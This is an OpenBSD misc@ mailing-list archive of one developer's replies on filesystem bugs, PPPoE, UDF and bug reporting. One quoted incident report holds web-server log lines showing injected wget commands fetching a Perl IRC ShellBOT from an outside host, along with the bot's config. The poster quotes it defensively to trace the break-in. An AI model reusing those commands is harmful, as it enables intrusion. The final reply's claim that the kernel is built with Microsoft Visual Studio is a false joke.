> if you don't have cvs commit, you are a nobody that's what misc@
> will teach any newcomer using iron and fire. i try to be part
> of a community but the devs say you are nobody and should be glad
> that you can use this stuff.

It's perfectly understandable that you felt this way, but please do not
try to externalize that as an absolute truth without providing
arguments, even if they are obvious to you. Lacking them makes your post
go from a constructive proposal to a completely crude calumny.

-p.



Re: art(4): Link change recorded where?

2006-03-16 Thread Pedro Martelletto
Perhaps ifstated(8) can help, though I'm not sure.

-p.



Re: OpenBSD 3.8 ports quality?

2006-03-12 Thread Pedro Martelletto
Ramiro,

Do you really think you're improving the situation by mourning in our
mailing lists? Have you tried debugging the problems you mention? Have
you tried contacting the respective ports maintainers to work out those
issues with them? Did you bother to report at all?

Just pointing at people and saying things don't work may be easy, but is
definitely not a constructive approach. And if all you want to do is
crying, go run something else. Nobody is forcing you to run OpenBSD.
But if you do, be at least thankful to the people who do ports for their
effort. That's best done by respecting their work and helping them fix
bugs that you might encounter. My kind suggestion: go ahead, do it.
I'm sure they're eager to see diffs from you.

-p.



Re: openbsd newbie question - lfs, ffs, and cf cards

2006-01-18 Thread Pedro Martelletto
On Wed, Jan 18, 2006 at 08:48:59AM -0500, Nick Bender wrote:
> Kind of off topic, but has any work been done towards implementing
> McKusick's snapshot and background fsck techniques in ffs?

I just won't say that the number of people working on it is inversely
proportional to the number of people wanting to see it done, because
that wouldn't make sense for 1.

-p.



Re: Odd MP3 player behavior

2006-01-14 Thread Pedro Martelletto
I'm assuming you're using msdosfs on your player.

There have been fixes to the code in -current.

You might want to try a snapshot.

-p.



Re: How did they get here?

2006-01-04 Thread Pedro Martelletto
Looks like you've made some new friends in Manaus, Brazil :-)

-p.

On Wed, Jan 04, 2006 at 02:50:01PM +, Gaby vanhegan wrote:
> To begin, I'm running OpenBSD trim.chrispyfur.net 3.6 GENERIC.MP#173  
> i386.
> 
> I have some suspect files in /tmp, and I'm fairly sure that they  
> shouldn't be there.  Only thing I can't twig is what method the  
> attackers used to get the files into that directory.  The files are:
> 
> ### Microsoft Search Worm - by br0k3d  
> ###
>    # From the same author of LinuxDay Worm and  
> other variants  ###
> 
> And:
> 
> #  ShellBOT
> #  0ldW0lf - [EMAIL PROTECTED]
> #  - www.atrix-br.cjb.net
> #  - www.atrix.cjb.net
> 
> in /tmp/.cpanel and /tmp/.cpanel.tmp.  Reading them through, they  
> just look like IRC clients written in Perl that have some remote  
> commands for DOS, and the likes.  They connect to a chatroom and  
> print some message or other.  If anybody wants to have some fun, the  
> main config block is:
> 
> # IRC
> my @adms=("darkwoot", "br0k3d", "vipzen", "Nandokabala");   #nick dos  
> administradores
> my @canais=("#gestapo");
> my $nick='ADOLFHITLER'; # nick do bot.. c o nick jah estiveh em uso..  
> vai aparece com um numero radonamico no final
> my $ircname = 'SSSA';
> chop (my $realname = `uname -a`);
> $servidor='irc.agitamanaus.net' unless $servidor;   #servidor d irc q  
> vai c usadu c naum for especificado no argumento
> my $porta='6667';   #porta do servidor d irc
> 
> My question is how did these files get into the machine.  I have  
> entries in the httpd error log that look like this:
> 
> --05:10:47--  http://arnold.dvclub.com.hk/phpBB2/linuxday.txt
> => `/tmp/.cpanel'
> Resolving arnold.dvclub.com.hk... done.
> Connecting to arnold.dvclub.com.hk[202.61.102.4]:80... connected.
> HTTP request sent, awaiting response... --05:10:57--  http:// 
> arnold.dvclub.com.hk/phpBB2/linuxdaybot.txt
> => `/tmp/.cpanel.tmp'
> Resolving arnold.dvclub.com.hk... done.
> Connecting to arnold.dvclub.com.hk[202.61.102.4]:80... failed:  
> Connection timed out.
> Retrying.
> 
> --05:12:13--  http://arnold.dvclub.com.hk/phpBB2/linuxdaybot.txt
>(try: 2) => `/tmp/.cpanel.tmp'
> Connecting to arnold.dvclub.com.hk[202.61.102.4]:80... 200 OK
> Length: 3,355 [text/plain]
> 
>  0K ...   100%   
> 468.05 KB/s
> 
> 05:12:27 (468.05 KB/s) - `/tmp/.cpanel' saved [3355/3355]
> 
> So something is clearly injecting a command into a script, and it is  
> causing wget to run and fetch some files.  There are more instances  
> of the same thing, but they're all fetching a file from the same  
> place (either .cpanel, .cpanel.tmp or .plesk).
> 
> Because they're in the default Apache error log, the attacker must  
> have hit a website on the machine that doesn't have an ErrorLog  
> defined, or they hit the machine by IP instead of a hostname.  I got  
> a list of sites that have no error log (and would log to /var/www/ 
> logs/error_log) and checked their transfer logs.  None of them had  
> any entries in them that correspond to any of the times on the wget  
> entries, so I learn nothing from this.  There are earlier entries as  
> well, doing the same thing, but to a different site
> 
> I'm going to do a bulk grep on all the web server logs to see if  
> anything about wget turns up in any of them, and if I can then work  
> out which script on which site is causing the problem.  As far as I  
> can tell, there is no damage, but there are some entries like these  
> in the error logs:
> 
> /tmp/x44423[1]: ^?ELF^A^A^ALinux^B^C^A<80><80>^44: not found
> /tmp/x44423[2]: 1?X<89>?<8D>T<81>^DP<83>??RQ??^A?: not found
> /tmp/x44423[4]: syntax error: `(' unexpected
> 
> Am I right in thinking that these entries show somebody trying to run  
> a Linux binary unsuccessfully?  Good job I leave Linux emulation  
> turned off... :)
> 
> So, what's my next move?  My daily/weekly security emails show  
> nothing to be worried about, no changes to any system critical files  
> or anything of that ilk.  Where can I look for more information or  
> clues?  I know the machine is due for an upgrade, and that's next on  
> my list.  I would provide a dmesg but the machine has been up for a  
> while with one full disk, so it's been pushed out of the end of the  
> dmesg file.
> 
> Gaby
> 
> --
> Junkets for bunterish lickspittles since 1998!
> http://vanhegan.net/sudoku/
> http://weblog.vanhegan.net/



Re: UDF - where are we ?

2005-12-31 Thread Pedro Martelletto
On Fri, Dec 30, 2005 at 08:37:30PM +0800, Uwe Dippel wrote:
> file larger than 2 GB will show with wrong content and a negative size.

This was fixed in 8/11, and made the stable tree on 1/12.

-p.



Re: using hotplugd / hotplug to forcibly unmount / umount a USB flash drive

2005-12-07 Thread Pedro Martelletto
On Wed, Dec 07, 2005 at 02:58:34PM -0800, Joe Advisor wrote:
> http://marc.theaimsgroup.com/?l=openbsd-misc&m=110931013806157&w=2

Some stuff, which should be included in 3.8-release, has been committed
to help in this regard. It doesn't cover all cases, though.

-p.



Re: Something hosing my msdos/FAT32 file system

2005-11-26 Thread Pedro Martelletto
On Sat, Nov 26, 2005 at 01:45:47AM -0800, Ted Unangst wrote:
> there may be a missing cache_purge in msdosfs_rename.

I've looked at the code and yes, you're correct. There was a missing
cache_purge() in msdosfs_rename(), and that fixed the issue for me.

Alexander, can you confirm the problem is gone?

-p.

Index: msdosfs_vnops.c
===
RCS file: /cvs/src/sys/msdosfs/msdosfs_vnops.c,v
retrieving revision 1.55
diff -u -r1.55 msdosfs_vnops.c
--- msdosfs_vnops.c 19 Nov 2005 02:18:01 -  1.55
+++ msdosfs_vnops.c 26 Nov 2005 14:27:32 -
@@ -1151,6 +1151,9 @@
VOP_UNLOCK(fdvp, 0, p);
goto bad;
}
+
+   cache_purge(fvp);
+
if (!doingdirectory) {
error = pcbmap(dp, de_cluster(pmp, to_diroffset), 0,
   &ip->de_dirclust, 0);



Re: Something hosing my msdos/FAT32 file system

2005-11-25 Thread Pedro Martelletto
On Sat, Nov 26, 2005 at 03:05:30AM +0100, Alexander Hall wrote:
> Actually, after testing copying aa and ab separately, I cannot reproduce 
> the previous errors again. Maybe a reboot will "help".
> 
> FWIW, I think that unmounting and mounting the fs again restored the 
> order (or so it seemed).
> 
> Please let me know if there is anything else I can do to help you.
> 
> /Alexander

On a side note, I'm fairly convinced it has someting to do with the
FTS_PHYSICAL option being passed to fts_open(3).

That's why 'find -L' works.

-p.



Re: Something hosing my msdos/FAT32 file system

2005-11-25 Thread Pedro Martelletto
On Sat, Nov 26, 2005 at 12:57:06AM +0100, Alexander Hall wrote:
> $ dd if=/dev/zero of=msdos_fs bs=1024 count=1024
> $ sudo vnconfig vnd0 msdos_fs
> $ sudo newfs_msdos /dev/rvnd0c
> $ sudo mount_msdos -m 777 -l /dev/vnd0c /mnt/test/
> $ cd /mnt/test
> $ mkdir a aa ab

> $ find .
> .
> ./a
> ./aa
> ./ab

Interesting. If you don't do this preliminary 'find', then all is fine.

> $ mv aa ab a
> $ find .
> .
> ./a
> ./a/aa
> $ ll a
> total 16
> drwxrwxrwx  1 root  wheel  4096 Nov 26 00:52 aa/
> drwxrwxrwx  1 root  wheel  4096 Nov 26 00:52 ab/
> $ find -L .
> .
> ./a
> ./a/aa
> ./a/ab

And if you try 'rm -rf a' now, you're likely to get:

rm: fts_read: No such file or directory

-p.



Re: Something hosing my msdos/FAT32 file system

2005-11-25 Thread Pedro Martelletto
On Sat, Nov 26, 2005 at 12:57:06AM +0100, Alexander Hall wrote:
> I ran into this just this week while moving stuff like crazy. Succeeded 
> to boil stuff down to a very limited set of operations that fscks things 
> up. I run tests on a (disposable :) vnd device but I got the same 
> results on an ordinary partition (wd0n).
> 
> Upgraded to snapshot from Nov 25 to make sure this wasn't fixed since I 
> noticed some changes but no better luck there.
> 
> Maybe you, or anyone else, can do somthing of it. "Fails like a charm" 
> every time for me.
> 
> /Alexander

Thanks for the report, I will investigate on it.

-p.



sparc64 needed in Brazil

2005-10-05 Thread Pedro Martelletto
Hi,

I wonder if there's any OpenBSD user in Brazil who would be willing to
donate a sparc64 box to help on my development efforts? I work in the
kernel, and having access to such an architecture would be great.

The look-out is currently for people in Brazil only, since our customs
tends to create a lot of trouble for hardware to enter the country.

I'm located in Rio de Janeiro.

Thanks a lot,
-p.



Re: PPPoE troubles.

2005-10-01 Thread Pedro Martelletto
On Sat, Oct 01, 2005 at 07:04:47PM -0300, Pedro Martelletto wrote:
> On Sat, Oct 01, 2005 at 05:36:24PM -0300, Marcos Vinicius Buzo wrote:
> > Does anybody here live in Brazil and use the adsl link from telefonica and
> > can get it working with OpenBSD/pppoe ?
> 
> No. I've a friend who uses PPPoE for Velox. Shall you have more trouble
> and I will put you in touch with him.
> 
> -p.

Actually, I was wrong. I know some guy in Sao Paulo who uses the ADSL
services provided by Telefonica with OpenBSD and userland PPPoE.

These are the settings he's using:

pppoe:
   set device "!/usr/sbin/pppoe -i INTERFACE"
   set mtu max 1492
   set mru max 1492
   set speed sync
   disable acfcomp protocomp
   deny acfcomp
   set authname "[EMAIL PROTECTED]"
   set authkey "senha"
   add! default HISADDR
   enable dns

-p.



Re: PPPoE troubles.

2005-10-01 Thread Pedro Martelletto
On Sat, Oct 01, 2005 at 07:23:55PM -0300, Marcos Vinicius Buzo wrote:
> Yes Pedro, I live in the state of Sao Paulo. I used that configuration
> because is how the man 4 pppoe is telling i should do, these adresses should
> be replaced with the adresses I would receive from my ISP.

Oh, so never mind. :-)

Anyway, does the PPPoE code yield any kind of log? If so, have you tried
digging through it to find anything interesting?

> I would like to talk to your friend to know what he is doing to get pppoe
> working,

Sure, please get in touch with Luiz Gustavo <[EMAIL PROTECTED]>, and if
you get it to work, then please post the solution in the list, so future
users can find it in the archives.

-p.



Re: PPPoE troubles.

2005-10-01 Thread Pedro Martelletto
Hi Marcos,

I never used PPPoE myself, but let me try to help you out...

On Sat, Oct 01, 2005 at 05:36:24PM -0300, Marcos Vinicius Buzo wrote:
> I live in Brazil and my connection is an ADSL link with Telefonica.

Then you probably live somewhere in the state of Sao Paulo :-)

> !/sbin/ifconfig \$if inet 0.0.0.0 0.0.0.1 netmask 0x
> !/sbin/route add default 0.0.0.1

Why are you doing this? You're setting your gateway to 0.0.0.1.

> The netstat -nr command shows me:
>
> Destination Gateway Flags Refs Use Mtu Interface
> 0.0.0.1 0.0.0.0 UH 0 0 - pppoe0

Which matches the set of ifconfig + route commands that you used, no?

> Does anybody here live in Brazil and use the adsl link from telefonica and
> can get it working with OpenBSD/pppoe ?

No. I've a friend who uses PPPoE for Velox. Shall you have more trouble
and I will put you in touch with him.

-p.



Re: Something hosing my msdos/FAT32 file system

2005-09-28 Thread Pedro Martelletto
Okay, whatever.

-p.



Re: Something hosing my msdos/FAT32 file system

2005-09-28 Thread Pedro Martelletto
On Wed, Sep 28, 2005 at 11:44:31PM +0200, frantisek holop wrote:
> i know very well how to report bugs thank you very much.

So why didn't you?

> been on the list for quite some time now.  to use your car
> repairsman example: do you expect me to wreck my car AGAIN
> so just i can report you what went wrong?

No, I don't, but that's simply not needed. Just a note saying "I was
running OpenBSD version X, kernel dated Y, on an environment Z, and
suddenly everything was gone" would be a start.

And you seem to be able to send mail...

What is a totally pathetic posture is to stay in silence and hope your
problems are going to get fixed magically. Or do you believe in
miracles? Or did you light up a candle and sang kumbaya, danced naked
in a circle or...? Because no divinity appeared to me (yet) saying I
should fix your problem. Perhaps you should try harder?

> i am sorry but my files are not rabbits to conduct experiments on.

Like your files are more important than anyone else's. Like your files
are more important than my files. Give me a break.

> regarding my other issues, because you had the courtesy
> of lecturing me, let me sink that low and ask you:
> have you searched the archives?

Heh, yeah, right. So now, besides not having the issues reported where
they should be, developers should have to search every single mailing
list out there looking for issues to fix?

Before I have the courtesy of fixing your problems, could you please
leave your ego for a second, and realize you're just plain wrong?

> http://marc.theaimsgroup.com/?l=openbsd-misc&m=110488032901414&w=2
> http://marc.theaimsgroup.com/?l=openbsd-misc&m=110246291210267&w=2

Oh, right. You can mail misc@, but you can't mail bugs@ -- and yet you
do know how to send bug reports. I guess you do make a lot of sense as
well?

> and i know how it goes around here, because i am not willing
> to/and simply can't sacrifice my files perhaps the dev's will
> tell me to piss off w/o a proper bug report.  suits me fine,
> what could they do?  sacrifice _their_ files?

That's what just happened, dude.

-p.



Re: Something hosing my msdos/FAT32 file system

2005-09-28 Thread Pedro Martelletto
http://www.openbsd.org/report.html is also an excellent source of
information on how to report issues, so they can get fixed.

-p.



Re: Something hosing my msdos/FAT32 file system

2005-09-28 Thread Pedro Martelletto
Alexander and Frantisek,

It should be of no surprise that if you don't step up and report an
issue, it won't get fixed. Sending a description of the problem to misc@
is not the correct way of submitting a report. Doing so is more or less
like whispering on a large avenue that your car is broken and expecting
the car repairman 3 or 4 blocks away to hear it.

bugs@ is the right place to go, preferably with a (filled) formal PR
like the ones sendbug(1) generates for you. Having two separate lists is
the only way we have to differentiate between the usual amount of
discussions that this list is meant for, and punctual bug reports that
could be worked on.

That said, let's get on what actually matters:

Alexander, can you please try to build a test-case that rules out NFS,
if at all possible? It certainly looks like the culprit. Also, are you
still running 3.7, or have you tried a more recent version of OpenBSD?
If you have, were you still able to reproduce the same problems?
Finally, please don't say you have cool diffs to make things work, and
that if people want to do X or Y under OpenBSD, they should go talk to
you. Submit them for review. This is not Linux.

Frantisek, I unfortunately have no idea as to what kind of issues you
were running into. Could you please send me the details of the problem
you had, or point me anywhere I could find them?

Anyway, please reply to me privately, or even better, submit PRs through
sendbug(1), and I will get back to you.

-p.



Re: My OpenBSD system cannot load any shared object anymore!!!

2005-08-22 Thread Pedro Martelletto
On Mon, Aug 22, 2005 at 11:53:04AM -0300, Joco Salvatti wrote:
>  used the ldconfig program on a shared library that is located in
> /emul/linux/lib. After that the system crashed.

Could you please provide the information you got from the system crash?

-p.



Re: kernel: page trap fault

2005-06-09 Thread Pedro Martelletto
On Thu, Jun 09, 2005 at 06:25:48PM +0800, Uwe Dippel wrote:
> Sorry, I have no clue how to debug, so I can only put one of those
> messages here and ask for guidance:
> 
> Kernel: page fault trap, code=0
> Stopped at0x55b0d6b0: kernel: page fault trap, code 0
> Stopped atdb_read_bytes+0x14: movb0(%edx), %aL
> 
> (no guarantee here on typos)
> 
> This is one of two that I get, the other has something with rl_

http://www.openbsd.org/report.html

-p.



Re: kernel build on mount_union problem

2005-06-04 Thread Pedro Martelletto
unfortunately, getcwd() on union is broken... :-(

-p.

On Tue, Sep 14, 2004 at 01:47:46PM -0400, Aaron Suen wrote:
> I'm having a problem compiling the kernel when the sources are mounted
> on a union filesystem.  It's enabled by default in GENERIC and I don't
> see any of the customary "not for production use" warnings, so either
> this is an uncommon bug or I've missed something obvious.  Or both :-)
> 
> I've checked out all the CVS source for OpenBSD 3.5-STABLE into dirs in
> /home/src, so src is in /home/src, ports is in /home/src/ports,
> etc.  Reading the manpage for mount_union, it states that one can grab
> a clean version of the OpenBSD sources, then just "mount -t union 
> -o -b..." to create a virtual copy somewhere else where another
> user can make changes which don't get applied to the clean copies.  I
> want clean sources in /home/src, but I want a working copy in /usr/src
> to do a make release.   But when I go to compile a kernel on my union
> mount, it fails.



Re: filesystem snapshots?

2005-05-24 Thread Pedro Martelletto
On Tue, May 24, 2005 at 11:41:20AM -0700, Stephan Wehner wrote:
> Is there something usable right now?

nope, but i will let you know as soon as there is

cheers,
-p.



Re: filesystem snapshots?

2005-05-24 Thread Pedro Martelletto
On Tue, May 24, 2005 at 11:03:25AM -0700, Stephan Wehner wrote:
> Is mksnap_ffs(8) from FreeBSD available in OpenBSD?

nope

> Are there plans?

yup

-p.



Re: udf vs fat32

2005-05-15 Thread Pedro Martelletto
On Sun, May 15, 2005 at 04:22:10PM +0200, -f wrote:
> hi there,
> 
> i am reading about UDF on wikipedia, and it states that
> udf is becoming popular on flash media.
> 
> i saw the udf commits to the tree, and i was wondering
> if it was possible to udf format a disk.  as both windows
> and openbsd understands udf, maybe it could be used as
> a crossplatform file system?
> 
> -f
> -- 
> 30 minutes of begging is not considered foreplay.

possibly, but keep in mind that udf support in openbsd is currently
read-only, so there are no pratical advantages over ntfs on that aspect.

-p.



Re: need help: system freezes unexpectedly

2005-05-05 Thread Pedro Martelletto
On Thu, May 05, 2005 at 03:42:27PM +0200, Georg Kremsner wrote:
> vgonel(d72584f0,d72c33e8,d059c8c0,d72584f0,0) at vgonel+0x7d
> vgone(d72584f0,0,d72c33e8,e8a0bdcc,d72584f0) at vgone+0x17
> layer_inactive(e8a0bdd4,d72c33e8,e8a0bdf0,d020aa99,0) at
> layer_inactive+0x32
> VOP_INACTIVE(d72584f0,d72c33e8,e8a0be20,d020ab2a,d72584f0) at
> VOP_INACTIVE+0x2e
> vput(d72584f0,d72c33e8,e8a0bf20,d020f2d1,d72584f0,e8a0beb0,d72c33e8,d72
> c33e8)at vput+0x94
> sys_lstat(d72c33e8,e8a9bf80,e8a0bf74,287,42a) at sys_lstat+0x81
> syscall() at syscal+0x21d
> --- syscall (number 293) ---

you seem to be making use of layered filesystems, which are severely
broken in openbsd, and are not supported in the stock kernel anymore.

you're strongly suggested to submit a formal PR, though, since layered
filesystems will eventually either be fixed, rewritten, or completely
removed from the tree: http://www.openbsd.org/report.html.

-p.



Re: compiler is used in OpenBSD's kernel compiling process

2005-05-05 Thread Pedro Martelletto
On Thu, May 05, 2005 at 09:11:16AM -0300, Joco Salvatti wrote:
> I'd like to know which compiler is used in OpenBSD's kernel compiling
> process.

Microsoft Visual Studio C++